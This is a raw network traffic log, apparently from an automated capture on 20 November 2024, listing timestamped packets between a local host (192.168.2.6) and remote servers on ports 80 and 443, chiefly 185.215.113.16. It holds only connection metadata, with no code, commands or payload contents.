Nov 20, 2024 00:19:18.382651091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382661104 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.382672071 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.382702112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382729053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382751942 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.382776976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.382940054 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.382947922 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.383177042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.383209944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.383244038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.383291960 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.383368969 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.384088993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384123087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384160042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384175062 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.384195089 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384242058 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.384505987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384540081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384572983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.384586096 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.385195017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.385256052 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.385293007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.385325909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.385359049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.385380983 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.385943890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.385997057 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.386198997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.386329889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.386379957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.389389038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.389417887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.389489889 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.426336050 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.426801920 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.426821947 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.427278042 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.427284002 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.457356930 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.457513094 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.457581997 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.457638025 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.457674980 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.457685947 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.457690954 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.460273981 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.460316896 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.460443974 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.460592031 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.460608006 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.471669912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.471708059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.471744061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.471775055 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.471904993 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.471976042 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.472028971 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.472138882 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.472157955 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.472170115 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.472176075 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.474315882 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.474342108 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.474406958 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.474540949 CET	49773	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.474555969 CET	443	49773	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.507878065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.507927895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.507942915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.507950068 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.507999897 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.508022070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508038044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508054972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508079052 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.508702040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508732080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508745909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.508755922 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.508789062 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.509746075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509763956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509780884 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509794950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509809971 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.509813070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509831905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509834051 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.509850979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509871006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509876966 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.509895086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509926081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.509953022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.509994030 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.510166883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510194063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510210037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510225058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510240078 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.510248899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510265112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510270119 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.510283947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510313988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.510900974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.510940075 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.511073112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511090040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511127949 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.511190891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511208057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511224031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511240005 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511245012 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.511259079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511286020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.511789083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.511832952 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.511985064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512001991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512027979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512041092 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.512048006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512064934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512080908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512085915 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.512120008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.512140036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512629032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.512671947 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.512891054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.535871983 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:18.535912037 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:18.535979033 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:18.537655115 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:18.537667990 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:18.540381908 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.540460110 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.540510893 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.540643930 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.540666103 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.540683985 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.540689945 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.543064117 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.543076992 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.543157101 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.543324947 CET	49775	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.543335915 CET	443	49775	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.562016964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.562046051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.562061071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.562076092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.562093019 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.562099934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.562134027 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.562170982 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.632148027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632200003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632216930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632256985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.632710934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632762909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.632817984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632836103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.632878065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.633661985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.633703947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.633728981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.633747101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634124994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634145021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634162903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634176970 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634203911 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634572029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634624004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634643078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634675980 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634758949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634776115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634793043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634803057 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634812117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634836912 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.634895086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.634938002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635059118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635122061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635138035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635164976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635198116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635215998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635231972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635238886 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635272026 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635854006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635874033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635890961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635907888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.635917902 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635962009 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.635984898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636002064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636017084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636040926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636071920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.636112928 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.636763096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636784077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636800051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636822939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636828899 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.636841059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636857033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.636864901 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.636897087 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.636996031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637013912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637056112 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.637742043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637761116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637778997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637794018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637804031 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.637810946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637828112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637836933 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.637846947 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.637871027 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.638008118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638061047 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.638499022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638518095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638535023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638566017 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.638576031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638592958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638608932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638621092 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.638628006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638655901 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.638695955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.638742924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.639434099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639468908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639493942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639508963 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639524937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639539957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.639543056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639550924 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.639559984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639578104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.639585018 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.639621019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.640310049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.646615982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.646672964 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.646673918 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.646688938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.646706104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.646729946 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.651098013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651115894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651130915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651249886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651272058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651288033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651320934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.651360989 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.651417971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651434898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651464939 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.651520967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651534081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.651556015 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.668045998 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.668507099 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.668529987 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.668951035 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.668957949 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.704108000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.721569061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.721663952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.721702099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.721729994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.721736908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.721777916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.721790075 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.722470045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722522020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.722531080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722568035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722603083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722615957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.722882032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722934008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.722949982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.722999096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.723046064 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.723053932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.723089933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.723138094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.723141909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.723720074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.723777056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.723779917 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757155895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757194042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757208109 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.757208109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757255077 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.757500887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757545948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757559061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757589102 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.757770061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757797003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757812977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.757816076 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.757852077 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.758414984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758475065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758491993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758516073 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.758549929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758564949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758589029 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.758912086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758953094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.758959055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.758961916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.759058952 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.759488106 CET	80	49765	185.215.113.16	192.168.2.6
